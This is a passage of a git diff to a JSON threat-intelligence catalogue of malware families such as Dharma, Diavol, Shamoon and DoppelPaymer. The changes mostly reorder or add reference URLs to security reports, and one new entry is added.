"https://www.virusbulletin.com/uploads/pdf/conference_slides/2015/Pun-etal-VB2015.pdf", "https://www.trendmicro.com/en_us/research/21/g/biopass-rat-new-malware-sniffs-victims-via-live-streaming.html", + "http://www.novetta.com/wp-content/uploads/2014/11/Derusbi.pdf", + "https://attack.mitre.org/groups/G0096", "https://web.archive.org/web/20151216071054/http://blog.airbuscybersecurity.com/post/2015/11/Newcomers-in-the-Derusbi-family", - "https://web.archive.org/web/20180310053107/https://www.rsaconference.com/writable/presentations/file_upload/hta-w02-dissecting-derusbi.pdf" + "https://web.archive.org/web/20180310053107/https://www.rsaconference.com/writable/presentations/file_upload/hta-w02-dissecting-derusbi.pdf", + "https://www.virusbulletin.com/uploads/pdf/conference_slides/2015/Pun-etal-VB2015.pdf", + "https://attack.mitre.org/groups/G0001/", + "https://www.threatconnect.com/the-anthem-hack-all-roads-lead-to-china/", + "https://unit42.paloaltonetworks.com/rancor-cyber-espionage-group-uses-new-custom-malware-to-attack-southeast-asia/", + "https://web.archive.org/web/20200509171721/https://raw.githubusercontent.com/fdiskyou/threat-INTel/master/2015/GlobalThreatIntelReport.pdf", + "https://www.rsa.com/content/dam/en/white-paper/rsa-incident-response-emerging-threat-profile-shell-crew.pdf", + "https://www.secureworks.com/research/threat-profiles/bronze-firestone", + "https://nao-sec.org/2020/01/an-overhead-view-of-the-royal-road.html", + "https://www.secureworks.com/research/threat-profiles/bronze-mohawk", + "https://cybergeeks.tech/analyzing-apt19-malware-using-a-step-by-step-method/", + "https://summit.fireeye.com/content/dam/fireeye-www/summit/cds-2019/presentations/cds19-executive-s08-achievement-unlocked.pdf", + "https://www.secureworks.com/research/threat-profiles/bronze-keystone" ], "synonyms": [ "PHOTO" @@ -21591,9 +22628,9 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.desertblade", - "https://www.microsoft.com/en-us/security/business/security-insider/wp-content/uploads/2023/03/A-year-of-Russian-hybrid-warfare-in-Ukraine_MS-Threat-Intelligence-1.pdf", + "https://www.youtube.com/watch?v=mrTdSdMMgnk", "https://msrc-blog.microsoft.com/2022/02/28/analysis-resources-cyber-threat-activity-ukraine/", - "https://www.youtube.com/watch?v=mrTdSdMMgnk" + "https://www.microsoft.com/en-us/security/business/security-insider/wp-content/uploads/2023/03/A-year-of-Russian-hybrid-warfare-in-Ukraine_MS-Threat-Intelligence-1.pdf" ], "synonyms": [], "type": [] @@ -21659,11 +22696,11 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.dexter", - "https://www.trustwave.com/Resources/SpiderLabs-Blog/The-Dexter-Malware--Getting-Your-Hands-Dirty/", - "https://securitykitten.github.io/2014/12/01/lusypos-and-tor.html", "http://contagiodump.blogspot.com/2012/12/dexter-pos-infostealer-samples-and.html", - "https://volatility-labs.blogspot.com/2012/12/unpacking-dexter-pos-memory-dump.html", - "https://blog.trendmicro.com/trendlabs-security-intelligence/infostealer-dexter-targets-checkout-systems/" + "https://www.trustwave.com/Resources/SpiderLabs-Blog/The-Dexter-Malware--Getting-Your-Hands-Dirty/", + "https://blog.trendmicro.com/trendlabs-security-intelligence/infostealer-dexter-targets-checkout-systems/", + "https://securitykitten.github.io/2014/12/01/lusypos-and-tor.html", + "https://volatility-labs.blogspot.com/2012/12/unpacking-dexter-pos-memory-dump.html" ], "synonyms": [ "LusyPOS" @@ -21678,37 +22715,44 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.dharma", - "https://www.youtube.com/watch?v=LUxOcpIRxmg", - "https://www.advanced-intel.com/post/inside-phobos-ransomware-dharma-past-underground", - "https://www.bleepingcomputer.com/news/security/new-arena-crysis-ransomware-variant-released/", - "https://www.zscaler.com/blogs/security-research/ransomware-delivered-using-rdp-brute-force-attack", - "https://www.trendmicro.com/vinfo/us/security/news/cybercrime-and-digital-threats/negasteal-uses-hastebin-for-fileless-delivery-of-crysis-ransomware", - "https://www.welivesecurity.com/wp-content/uploads/2020/07/ESET_Threat_Report_Q22020.pdf", - "https://www.crowdstrike.com/blog/ransomware-preparedness-a-call-to-action/", - "https://www.cert.ssi.gouv.fr/uploads/CERTFR-2020-CTI-001.pdf", - "https://mandiant.widen.net/s/pkffwrbjlz/m-trends-2023", - "https://news.sophos.com/en-us/2020/08/12/color-by-numbers-inside-a-dharma-ransomware-as-a-service-attack/", - "https://www.huntandhackett.com/blog/advanced-ip-scanner-the-preferred-scanner-in-the-apt-toolbox", - "https://nakedsecurity.sophos.com/2018/09/11/the-rise-of-targeted-ransomware/", - "https://www.paloaltonetworks.com/content/dam/pan/en_US/assets/pdf/reports/Unit_42/unit42-ransomware-threat-report-2021.pdf", - "https://www.europol.europa.eu/newsroom/news/12-targeted-for-involvement-in-ransomware-attacks-against-critical-infrastructure", - "https://go.crowdstrike.com/rs/281-OBQ-266/images/Report2020CrowdStrikeGlobalThreatReport.pdf", - "https://www.microsoft.com/security/blog/2020/03/05/human-operated-ransomware-attacks-a-preventable-disaster/", - "https://www.acronis.com/en-us/articles/Dharma-ransomware/", - "https://www.carbonblack.com/2018/07/10/carbon-black-tau-threat-analysis-recent-dharma-ransomware-highlights-attackers-continued-use-open-source-tools/", - "https://services.google.com/fh/files/blogs/google_fog_of_war_research_report.pdf", + "https://research.checkpoint.com/2018/the-ransomware-doctor-without-a-cure/", "https://news.sophos.com/en-us/2022/03/17/the-ransomware-threat-intelligence-center/", "https://securelist.com/cis-ransomware/104452/", - "https://docs.microsoft.com/en-us/security/compass/human-operated-ransomware", - "https://cyberveille-sante.gouv.fr/cyberveille-sante/1821-france-retour-dexperience-suite-une-attaque-par-rancongiciel-contre-une", + "https://www.crowdstrike.com/blog/ransomware-preparedness-a-call-to-action/", + "https://asec.ahnlab.com/en/54937/", + "https://go.crowdstrike.com/rs/281-OBQ-266/images/Report2020CrowdStrikeGlobalThreatReport.pdf", "https://jsac.jpcert.or.jp/archive/2020/pdf/JSAC2020_1_tamada-yamazaki-nakatsuru_en.pdf", + "https://www.huntandhackett.com/blog/advanced-ip-scanner-the-preferred-scanner-in-the-apt-toolbox", + "https://www.acronis.com/en-us/articles/Dharma-ransomware/", + "https://www.zscaler.com/blogs/security-research/ransomware-delivered-using-rdp-brute-force-attack", "https://www.npu.gov.ua/news/kiberzlochini/kiberpolicziya-vikrila-transnaczionalne-zlochinne-ugrupovannya-u-nanesenni-inozemnim-kompaniyam-120-miljoniv-dolariv-zbitkiv/", + "https://www.bleepingcomputer.com/news/security/new-arena-crysis-ransomware-variant-released/", + "https://cyberveille-sante.gouv.fr/cyberveille-sante/1821-france-retour-dexperience-suite-une-attaque-par-rancongiciel-contre-une", + "https://www.youtube.com/watch?v=LUxOcpIRxmg", + "https://mandiant.widen.net/s/pkffwrbjlz/m-trends-2023", "https://thedfirreport.com/2020/06/16/the-little-ransomware-that-couldnt-dharma/", - "https://www.cronup.com/post/de-ataque-con-malware-a-incidente-de-ransomware", - "https://twitter.com/JakubKroustek/status/1087808550309675009", + "https://s3.documentcloud.org/documents/6986753/Secret-Service-Seattle-NIT-Warrant-Application.pdf", + "https://www.cert.ssi.gouv.fr/uploads/CERTFR-2020-CTI-001.pdf", + "https://www.europol.europa.eu/newsroom/news/12-targeted-for-involvement-in-ransomware-attacks-against-critical-infrastructure", + "https://www.microsoft.com/security/blog/2020/03/05/human-operated-ransomware-attacks-a-preventable-disaster/", + "http://web.archive.org/web/20191008053714/http://esec-lab.sogeti.com/posts/2016/06/07/the-story-of-yet-another-ransomfailware.html", + "https://news.sophos.com/en-us/2020/08/12/color-by-numbers-inside-a-dharma-ransomware-as-a-service-attack/", + "https://www.vice.com/en/article/wxqz54/secret-service-network-investigative-technique-ransomware", + "https://www.advanced-intel.com/post/inside-phobos-ransomware-dharma-past-underground", + "https://www.trendmicro.com/vinfo/us/security/news/cybercrime-and-digital-threats/negasteal-uses-hastebin-for-fileless-delivery-of-crysis-ransomware", + "https://www.welivesecurity.com/wp-content/uploads/2020/07/ESET_Threat_Report_Q22020.pdf", "https://www.group-ib.com/media/iran-cybercriminals/", + "https://blog.trendmicro.com/trendlabs-security-intelligence/dharma-ransomware-uses-av-tool-to-distract-from-malicious-activities/", + "https://services.google.com/fh/files/blogs/google_fog_of_war_research_report.pdf", + "https://www.paloaltonetworks.com/content/dam/pan/en_US/assets/pdf/reports/Unit_42/unit42-ransomware-threat-report-2021.pdf", + "https://twitter.com/JakubKroustek/status/1087808550309675009", "https://www.bleepingcomputer.com/news/security/the-week-in-ransomware-april-1st-2022-i-can-fight-with-a-keyboard/", - "https://blog.trendmicro.com/trendlabs-security-intelligence/dharma-ransomware-uses-av-tool-to-distract-from-malicious-activities/" + "https://www.cronup.com/post/de-ataque-con-malware-a-incidente-de-ransomware", + "https://www.justice.gov/usao-dc/press-release/file/1021186/download", + "https://docs.microsoft.com/en-us/security/compass/human-operated-ransomware", + "https://www.theregister.com/2019/11/11/dharma_decryption_promises_data_recovery/", + "https://www.carbonblack.com/2018/07/10/carbon-black-tau-threat-analysis-recent-dharma-ransomware-highlights-attackers-continued-use-open-source-tools/", + "https://nakedsecurity.sophos.com/2018/09/11/the-rise-of-targeted-ransomware/" ], "synonyms": [ "Arena", @@ -21726,14 +22770,14 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.diamondfox", - "https://blog.malwarebytes.com/threat-analysis/2017/03/diamond-fox-p1/", - "http://blog.checkpoint.com/2017/05/10/diamondfox-modular-malware-one-stop-shop/", - "https://blog.malwarebytes.com/threat-analysis/2017/04/diamond-fox-p2/", "https://medium.com/csis-techblog/inside-view-of-brazzzersff-infrastructure-89b9188fd145", + "https://blog.malwarebytes.com/threat-analysis/2017/04/diamond-fox-p2/", "https://fr3d.hk/blog/diamondfox-bank-robbers-will-be-replaced", - "https://blog.cylance.com/a-study-in-bots-diamondfox", + "https://blog.malwarebytes.com/threat-analysis/2017/03/diamond-fox-p1/", + "https://github.com/samoceyn/Diamondfox-Technical-Analysis-Report/blob/6375314ccecdf3fe450f975a384bcc1b16f068a8/D%C4%B0AMONDFOX%20Technical%20Analysis%20Report.PDF", + "http://blog.checkpoint.com/2017/05/10/diamondfox-modular-malware-one-stop-shop/", "https://www.scmagazine.com/inside-diamondfox/article/578478/", - "https://github.com/samoceyn/Diamondfox-Technical-Analysis-Report/blob/6375314ccecdf3fe450f975a384bcc1b16f068a8/D%C4%B0AMONDFOX%20Technical%20Analysis%20Report.PDF" + "https://blog.cylance.com/a-study-in-bots-diamondfox" ], "synonyms": [ "Crystal", @@ -21750,20 +22794,20 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.diavol", - "https://medium.com/walmartglobaltech/diavol-the-enigma-of-ransomware-1fd78ffda648", - "https://arcticwolf.com/resources/blog/karakurt-web", - "https://chuongdong.com/reverse%20engineering/2021/12/17/DiavolRansomware/", - "https://www.bleepingcomputer.com/news/security/fbi-links-diavol-ransomware-to-the-trickbot-cybercrime-group/", "https://www.fortinet.com/blog/threat-research/diavol-new-ransomware-used-by-wizard-spider", - "https://thedfirreport.com/2021/12/13/diavol-ransomware/", - "https://securityintelligence.com/posts/analysis-of-diavol-ransomware-link-trickbot-gang/", + "https://www.scythe.io/library/adversary-emulation-diavol-ransomware-threatthursday", + "https://arcticwolf.com/resources/blog/karakurt-web", + "https://www.binarydefense.com/threat_watch/new-ransomware-diavol-being-dropped-by-trickbot/", "https://medium.com/walmartglobaltech/diavol-resurfaces-91dd93c7d922", "https://www.bleepingcomputer.com/news/security/trickbot-gang-developer-arrested-when-trying-to-leave-korea/", - "https://www.scythe.io/library/adversary-emulation-diavol-ransomware-threatthursday", "https://www.ic3.gov/Media/News/2022/220120.pdf", - "https://www.binarydefense.com/threat_watch/new-ransomware-diavol-being-dropped-by-trickbot/", - "https://heimdalsecurity.com/blog/is-diavol-ransomware-connected-to-wizard-spider/", - "https://www.bleepingcomputer.com/news/security/diavol-ransomware-sample-shows-stronger-connection-to-trickbot-gang/" + "https://securityintelligence.com/posts/analysis-of-diavol-ransomware-link-trickbot-gang/", + "https://www.bleepingcomputer.com/news/security/fbi-links-diavol-ransomware-to-the-trickbot-cybercrime-group/", + "https://medium.com/walmartglobaltech/diavol-the-enigma-of-ransomware-1fd78ffda648", + "https://thedfirreport.com/2021/12/13/diavol-ransomware/", + "https://www.bleepingcomputer.com/news/security/diavol-ransomware-sample-shows-stronger-connection-to-trickbot-gang/", + "https://chuongdong.com/reverse%20engineering/2021/12/17/DiavolRansomware/", + "https://heimdalsecurity.com/blog/is-diavol-ransomware-connected-to-wizard-spider/" ], "synonyms": [], "type": [] @@ -21842,12 +22886,12 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.dirtymoe", + "https://decoded.avast.io/martinchlumecky/dirtymoe-5/", + "https://decoded.avast.io/martinchlumecky/dirtymoe-rootkit-driver/", "https://decoded.avast.io/martinchlumecky/dirtymoe-4/", "https://thehackernews.com/2022/03/purple-fox-hackers-spotted-using-new.html", "https://decoded.avast.io/martinchlumecky/dirtymoe-3/", - "https://decoded.avast.io/martinchlumecky/dirtymoe-5/", - "https://decoded.avast.io/martinchlumecky/dirtymoe-1/", - "https://decoded.avast.io/martinchlumecky/dirtymoe-rootkit-driver/" + "https://decoded.avast.io/martinchlumecky/dirtymoe-1/" ], "synonyms": [], "type": [] @@ -21887,30 +22931,30 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.disttrack", - "https://community.broadcom.com/symantecenterprise/communities/community-home/librarydocuments/viewdocument?DocumentKey=ad6f8259-2bb4-4f7f-b8e1-710b35a4cbed&CommunityKey=1ecf5f55-9545-44d6-b0f4-4e4a7f5f5e68&tab=librarydocuments", - "http://researchcenter.paloaltonetworks.com/2017/03/unit42-shamoon-2-delivering-disttrack/", - "https://community.broadcom.com/symantecenterprise/communities/community-home/librarydocuments/viewdocument?DocumentKey=5758557d-6e3a-4174-90f3-fa92a712ecd9&CommunityKey=1ecf5f55-9545-44d6-b0f4-4e4a7f5f5e68&tab=librarydocuments", - "https://resources.cylera.com/hubfs/Cylera%20Labs/Cylera%20Labs%20Kwampirs%20Shamoon%20Technical%20Report.pdf", - "https://malwareindepth.com/shamoon-2012/", - "https://unit42.paloaltonetworks.com/shamoon-3-targets-oil-gas-organization/", - "https://content.fireeye.com/m-trends/rpt-m-trends-2017", - "http://researchcenter.paloaltonetworks.com/2016/11/unit42-shamoon-2-return-disttrack-wiper/?adbsc=social68389776&adbid=804134348374970368&adbpl=tw&adbpr=4487645412", - "http://contagiodump.blogspot.com/2012/08/shamoon-or-disttracka-samples.html", - "http://www.vinransomware.com/blog/detailed-threat-analysis-of-shamoon-2-0-malware", "https://www.symantec.com/connect/blogs/greenbug-cyberespionage-group-targeting-middle-east-possible-links-shamoon", - "https://web.archive.org/web/20120818235442/https://www.symantec.com/connect/blogs/shamoon-attacks", - "https://ti.qianxin.com/uploads/2020/02/13/cb78386a082f465f259b37dae5df4884.pdf", - "https://www.crowdstrike.com/blog/the-anatomy-of-wiper-malware-part-3/", - "https://www.crowdstrike.com/blog/the-anatomy-of-wiper-malware-part-1/", - "https://www.codeandsec.com/Sophisticated-CyberWeapon-Shamoon-2-Malware-Analysis", - "https://symantec-blogs.broadcom.com/blogs/threat-intelligence/shamoon-destructive-threat-re-emerges-new-sting-its-tail", - "https://www.fortinet.com/blog/threat-research/the-increasing-wiper-malware-threat", - "https://web.archive.org/web/20190331181353/https://www.symantec.com/connect/blogs/greenbug-cyberespionage-group-targeting-middle-east-possible-links-shamoon", - "https://securelist.com/shamoon-the-wiper-copycats-at-work/", - "https://unit42.paloaltonetworks.com/unit42-second-wave-shamoon-2-attacks-identified/", - "https://symantec.broadcom.com/hubfs/Attacks-Against-Critical_Infrastructrure.pdf", + "http://researchcenter.paloaltonetworks.com/2017/03/unit42-shamoon-2-delivering-disttrack/", + "https://resources.cylera.com/hubfs/Cylera%20Labs/Cylera%20Labs%20Kwampirs%20Shamoon%20Technical%20Report.pdf", + "https://www.zdnet.com/article/fbi-warns-about-ongoing-attacks-against-software-supply-chain-companies/", + "http://researchcenter.paloaltonetworks.com/2016/11/unit42-shamoon-2-return-disttrack-wiper/?adbsc=social68389776&adbid=804134348374970368&adbpl=tw&adbpr=4487645412", "https://afyonluoglu.org/PublicWebFiles/Reports-TR/2017%20FireEye%20M-Trends%20Report.pdf", - "https://www.zdnet.com/article/fbi-warns-about-ongoing-attacks-against-software-supply-chain-companies/" + "https://www.fortinet.com/blog/threat-research/the-increasing-wiper-malware-threat", + "https://community.broadcom.com/symantecenterprise/communities/community-home/librarydocuments/viewdocument?DocumentKey=ad6f8259-2bb4-4f7f-b8e1-710b35a4cbed&CommunityKey=1ecf5f55-9545-44d6-b0f4-4e4a7f5f5e68&tab=librarydocuments", + "https://securelist.com/shamoon-the-wiper-copycats-at-work/", + "https://www.crowdstrike.com/blog/the-anatomy-of-wiper-malware-part-1/", + "https://content.fireeye.com/m-trends/rpt-m-trends-2017", + "https://web.archive.org/web/20190331181353/https://www.symantec.com/connect/blogs/greenbug-cyberespionage-group-targeting-middle-east-possible-links-shamoon", + "http://contagiodump.blogspot.com/2012/08/shamoon-or-disttracka-samples.html", + "https://web.archive.org/web/20120818235442/https://www.symantec.com/connect/blogs/shamoon-attacks", + "https://symantec.broadcom.com/hubfs/Attacks-Against-Critical_Infrastructrure.pdf", + "https://malwareindepth.com/shamoon-2012/", + "http://www.vinransomware.com/blog/detailed-threat-analysis-of-shamoon-2-0-malware", + "https://unit42.paloaltonetworks.com/unit42-second-wave-shamoon-2-attacks-identified/", + "https://community.broadcom.com/symantecenterprise/communities/community-home/librarydocuments/viewdocument?DocumentKey=5758557d-6e3a-4174-90f3-fa92a712ecd9&CommunityKey=1ecf5f55-9545-44d6-b0f4-4e4a7f5f5e68&tab=librarydocuments", + "https://unit42.paloaltonetworks.com/shamoon-3-targets-oil-gas-organization/", + "https://www.crowdstrike.com/blog/the-anatomy-of-wiper-malware-part-3/", + "https://symantec-blogs.broadcom.com/blogs/threat-intelligence/shamoon-destructive-threat-re-emerges-new-sting-its-tail", + "https://www.codeandsec.com/Sophisticated-CyberWeapon-Shamoon-2-Malware-Analysis", + "https://ti.qianxin.com/uploads/2020/02/13/cb78386a082f465f259b37dae5df4884.pdf" ], "synonyms": [ "Shamoon" @@ -21926,10 +22970,10 @@ "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.divergent", "https://documents.trendmicro.com/assets/Tech-Brief-New-Fileless-Botnet-Novter-Distributed-by-KovCoreG-Malvertising-Campaign.pdf", - "https://www.microsoft.com/security/blog/2019/09/26/bring-your-own-lolbin-multi-stage-fileless-nodersok-campaign-delivers-rare-node-js-based-malware/", "https://blog.talosintelligence.com/2019/09/divergent-analysis.html", + "https://blog.trendmicro.com/trendlabs-security-intelligence/new-fileless-botnet-novter-distributed-by-kovcoreg-malvertising-campaign/", "https://www.cert-pa.it/notizie/devergent-malware-fileless/", - "https://blog.trendmicro.com/trendlabs-security-intelligence/new-fileless-botnet-novter-distributed-by-kovcoreg-malvertising-campaign/" + "https://www.microsoft.com/security/blog/2019/09/26/bring-your-own-lolbin-multi-stage-fileless-nodersok-campaign-delivers-rare-node-js-based-malware/" ], "synonyms": [ "Novter" @@ -21972,6 +23016,7 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.dmsniff", + "https://medium.com/walmartglobaltech/gazavat-expiro-dmsniff-connection-and-dga-analysis-8b965cc0221d", "https://www.flashpoint-intel.com/blog/dmsniff-pos-malware-actively-leveraged-target-medium-sized-businesses/" ], "synonyms": [], @@ -21981,7 +23026,7 @@ "value": "DMSniff" }, { - "description": "DneSpy collects information, takes screenshots, and downloads and executes the latest version of other malicious components in the infected system. The malware is designed to receive a “policy” file in JSON format with all the commands to execute. The policy file sent by the C&C server can be changed and updated over time, making dneSpy flexible and well-designed. The output of each executed command is zipped, encrypted, and exfiltrated to the C&C server. These characteristics make dneSpy a fully functional espionage backdoor.", + "description": "DneSpy collects information, takes screenshots, and downloads and executes the latest version of other malicious components in the infected system. The malware is designed to receive a \u201cpolicy\u201d file in JSON format with all the commands to execute. The policy file sent by the C&C server can be changed and updated over time, making dneSpy flexible and well-designed. The output of each executed command is zipped, encrypted, and exfiltrated to the C&C server. These characteristics make dneSpy a fully functional espionage backdoor.", "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.dnespy", @@ -22011,12 +23056,12 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.dnsmessenger", - "https://cert.ssi.gouv.fr/uploads/20220427_NP_TLPWHITE_ANSSI_FIN7.pdf", - "https://summit.fireeye.com/content/dam/fireeye-www/summit/cds-2018/presentations/cds18-technical-s05-att&cking-fin7.pdf", "https://blog.talosintelligence.com/2017/10/dnsmessenger-sec-campaign.html", "https://blog.talosintelligence.com/2017/03/dnsmessenger.html", - "https://blog.apnic.net/2022/03/31/how-to-detect-and-prevent-common-data-exfiltration-attacks/", - "http://wraithhacker.com/2017/10/11/more-info-on-evolved-dnsmessenger/" + "https://cert.ssi.gouv.fr/uploads/20220427_NP_TLPWHITE_ANSSI_FIN7.pdf", + "https://summit.fireeye.com/content/dam/fireeye-www/summit/cds-2018/presentations/cds18-technical-s05-att&cking-fin7.pdf", + "http://wraithhacker.com/2017/10/11/more-info-on-evolved-dnsmessenger/", + "https://blog.apnic.net/2022/03/31/how-to-detect-and-prevent-common-data-exfiltration-attacks/" ], "synonyms": [ "TEXTMATE" @@ -22032,18 +23077,21 @@ "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.dnspionage", "https://www.secureworks.com/research/threat-profiles/cobalt-edgewater", - "https://www.pwc.co.uk/cyber-security/assets/cyber-threats-2019-retrospect.pdf", - "https://ti.qianxin.com/uploads/2020/02/13/cb78386a082f465f259b37dae5df4884.pdf", - "https://www.lastline.com/labsblog/threat-actor-cold-river-network-traffic-analysis-and-a-deep-dive-on-agent-drable/", - "https://www.zdnet.com/article/source-code-of-iranian-cyber-espionage-tools-leaked-on-telegram/", "https://blog-cert.opmd.fr/dnspionage-focus-on-internal-actions/", - "https://www.us-cert.gov/ncas/alerts/AA19-024A", "https://marcoramilli.com/2019/04/23/apt34-webmask-project/", - "https://blog.talosintelligence.com/2019/04/dnspionage-brings-out-karkoff.html", - "https://www.fireeye.com/blog/threat-research/2019/01/global-dns-hijacking-campaign-dns-record-manipulation-at-scale.html", + "https://www.us-cert.gov/ncas/alerts/AA19-024A", "https://blog.talosintelligence.com/2018/11/dnspionage-campaign-targets-middle-east.html", + "https://ti.qianxin.com/uploads/2020/02/13/cb78386a082f465f259b37dae5df4884.pdf", + "https://www.pwc.co.uk/cyber-security/assets/cyber-threats-2019-retrospect.pdf", + "https://www.zdnet.com/article/source-code-of-iranian-cyber-espionage-tools-leaked-on-telegram/", + "https://www.virusbulletin.com/uploads/pdf/magazine/2019/VB2019-Mercer-Rascagneres.pdf", + "https://www.mandiant.com/resources/blog/global-dns-hijacking-campaign-dns-record-manipulation-at-scale", + "https://www.fireeye.com/blog/threat-research/2019/01/global-dns-hijacking-campaign-dns-record-manipulation-at-scale.html", + "https://www.lastline.com/labsblog/threat-actor-cold-river-network-traffic-analysis-and-a-deep-dive-on-agent-drable/", + "https://www.youtube.com/watch?v=ws1k44ZhJ3g", + "https://nsfocusglobal.com/apt34-event-analysis-report/", "https://research.checkpoint.com/2021/irans-apt34-returns-with-an-updated-arsenal/", - "https://nsfocusglobal.com/apt34-event-analysis-report/" + "https://blog.talosintelligence.com/2019/04/dnspionage-brings-out-karkoff.html" ], "synonyms": [ "Agent Drable", @@ -22088,8 +23136,8 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.domino", - "https://securityintelligence.com/posts/ex-conti-fin7-actors-collaborate-new-domino-backdoor/", - "https://securityintelligence.com/posts/ex-conti-fin7-actors-collaborate-new-domino-backdoor" + "https://securityintelligence.com/posts/ex-conti-fin7-actors-collaborate-new-domino-backdoor", + "https://securityintelligence.com/posts/ex-conti-fin7-actors-collaborate-new-domino-backdoor/" ], "synonyms": [], "type": [] @@ -22097,13 +23145,27 @@ "uuid": "37169b2f-344e-4913-ab91-d447d597ffa7", "value": "Minodo" }, + { + "description": "Donot malware is a sophisticated, high-level malware toolkit designed to collect and exfiltrate information from vulnerable systems. It has been used in targeted attacks against government and military organizations in Asia. Donot malware is highly complex and well-crafted, and it poses a serious threat to information security.", + "meta": { + "refs": [ + "https://malpedia.caad.fkie.fraunhofer.de/details/win.donot", + "https://labs.k7computing.com/index.php/the-donot-apt/", + "https://blog.morphisec.com/apt-c-35-new-windows-framework-revealed" + ], + "synonyms": [], + "type": [] + }, + "uuid": "6d22d9e1-b38d-4a6f-a4bb-1121ced4adfc", + "value": "DONOT" + }, { "description": "Donut is an open-source in-memory injector/loader, designed for execution of VBScript, JScript, EXE, DLL files and dotNET assemblies. It was used during attacks against U.S. organisations according to Threat Hunter Team (Symantec) and U.S. Defence contractors (Unit42).\r\nGithub: https://github.com/TheWover/donut", "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.donut_injector", - "https://cocomelonc.github.io/malware/2022/07/30/malware-av-evasion-8.html", "https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/wastedlocker-ransomware-us", + "https://cocomelonc.github.io/malware/2022/07/30/malware-av-evasion-8.html", "https://thewover.github.io/Introducing-Donut/" ], "synonyms": [ @@ -22119,9 +23181,10 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.doorme", + "https://www.elastic.co/security-labs/update-to-the-REF2924-intrusion-set-and-related-campaigns", + "http://stillu.cc/assets/slides/2023-08-Unmasking%20CamoFei.pdf", "https://www.ptsecurity.com/ww-en/analytics/pt-esc-threat-intelligence/new-apt-group-chamelgang/", - "https://www.elastic.co/security-labs/siestagraph-new-implant-uncovered-in-asean-member-foreign-ministry", - "https://www.elastic.co/security-labs/update-to-the-REF2924-intrusion-set-and-related-campaigns" + "https://www.elastic.co/security-labs/siestagraph-new-implant-uncovered-in-asean-member-foreign-ministry" ], "synonyms": [], "type": [] @@ -22134,20 +23197,20 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.doppeldridex", - "https://security-soup.net/doppeldridex-delivered-via-slack-and-discord/", - "https://inquest.net/blog/2021/12/20/dont-bring-dridex-home-holidays", - "https://medium.com/s2wlab/operation-synctrek-e5013df8d167", - "https://www.cisa.gov/uscert/ncas/alerts/aa22-110a", - "https://www.cisa.gov/uscert/sites/default/files/publications/AA22-110A_Joint_CSA_Russian_State-Sponsored_and_Criminal_Cyber_Threats_to_Critical_Infrastructure_4_20_22_Final.pdf", - "https://go.crowdstrike.com/rs/281-OBQ-266/images/Report2020CrowdStrikeGlobalThreatReport.pdf", - "https://www.bleepingcomputer.com/news/security/log4j-vulnerability-now-used-to-install-dridex-banking-malware/", "https://twitter.com/BrettCallow/status/1453557686830727177?s=20", - "https://blogs.blackberry.com/en/2021/11/zebra2104", - "https://redcanary.com/blog/grief-ransomware/", - "https://www.0ffset.net/reverse-engineering/malware-analysis/dridex-veh-api-obfuscation/", - "https://www.fortinet.com/blog/threat-research/new-dridex-variant-being-spread-by-crafted-excel-document?&web_view=true", + "https://medium.com/s2wlab/operation-synctrek-e5013df8d167", "https://team-cymru.com/blog/2021/11/03/webinject-panel-administration-a-vantage-point-into-multiple-threat-actor-campaigns/", + "https://www.bleepingcomputer.com/news/security/log4j-vulnerability-now-used-to-install-dridex-banking-malware/", + "https://www.cisa.gov/uscert/ncas/alerts/aa22-110a", + "https://redcanary.com/blog/grief-ransomware/", + "https://go.crowdstrike.com/rs/281-OBQ-266/images/Report2020CrowdStrikeGlobalThreatReport.pdf", + "https://www.0ffset.net/reverse-engineering/malware-analysis/dridex-veh-api-obfuscation/", + "https://security-soup.net/doppeldridex-delivered-via-slack-and-discord/", + "https://blogs.blackberry.com/en/2021/11/zebra2104", + "https://www.cisa.gov/uscert/sites/default/files/publications/AA22-110A_Joint_CSA_Russian_State-Sponsored_and_Criminal_Cyber_Threats_to_Critical_Infrastructure_4_20_22_Final.pdf", "https://cyber-anubis.github.io/malware%20analysis/dridex/", + "https://www.fortinet.com/blog/threat-research/new-dridex-variant-being-spread-by-crafted-excel-document?&web_view=true", + "https://inquest.net/blog/2021/12/20/dont-bring-dridex-home-holidays", "https://www.proofpoint.com/us/blog/threat-insight/ta575-uses-squid-game-lures-distribute-dridex-malware" ], "synonyms": [], @@ -22161,65 +23224,65 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.doppelpaymer", - "https://docs.google.com/spreadsheets/d/1MI8Z2tBhmqQ5X8Wf_ozv3dVjz5sJOs-3", + "https://lka.polizei.nrw/presse/schlag-gegen-international-agierendes-netzwerk-von-cyber-kriminellen", + "https://twitter.com/BrettCallow/status/1453557686830727177?s=20", "https://www.bleepingcomputer.com/news/security/doppelpaymer-ransomware-launches-site-to-post-victims-data/", - "https://www.mandiant.com/resources/unc2165-shifts-to-evade-sanctions", - "https://ke-la.com/how-ransomware-gangs-find-new-monetization-schemes-and-evolve-in-marketing/", - "https://apnews.com/article/virus-outbreak-elections-georgia-voting-2020-voting-c191f128b36d1c0334c9d0b173daa18c", - "https://www.armor.com/resources/threat-intelligence/the-evolution-of-doppel-spider-from-bitpaymer-to-grief-ransomware/", - "https://www.bleepingcomputer.com/news/security/three-more-ransomware-families-create-sites-to-leak-stolen-data/", - "https://lifars.com/wp-content/uploads/2022/01/GriefRansomware_Whitepaper-2.pdf", - 